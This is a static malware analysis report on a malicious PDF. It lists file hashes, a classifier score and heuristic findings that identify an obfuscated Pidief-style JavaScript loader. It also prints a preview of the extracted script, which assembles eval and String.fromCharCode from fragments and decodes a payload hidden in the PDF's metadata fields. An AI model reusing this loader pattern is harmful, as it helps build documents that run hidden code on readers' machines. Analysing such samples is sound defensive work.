Malicious PDF — malware analysis report

Static analysis result for SHA-256 b25c919542230456…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 7a37339c3cbfbf756c008129c7dce469 SHA-1: 8baafbdf049c567ad800d204fbb913c297738fe7 SHA-256: b25c919542230456e4acdc1a8f59462a881f98ad7950dfd382afbb2ab155fb4b
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB08F 416 bytes
SHA-256: 3852edb983f75c0d3cb9fab6147264ee0a9d8aca0462f362895e37aa35708134
Preview script
First 1,000 lines of the extracted script
qqr='';
v=producer;
qqq=subject;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
kojh=e('ti'+'tle');
s=kojh.substr(t.length + 8,3)+'str';
q=kojh[s](1,(1,t.length + 7));
eiiq=e(v[0].toUpperCase()+'tring.fro'+q);
q=kojh[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	pgtn = parseInt(q[i+1]) + parseInt(q[i]);
	qqr += eiiq(pgtn);
}
e(qqr);

Open this report in the interactive analyzer, or submit your own file for analysis.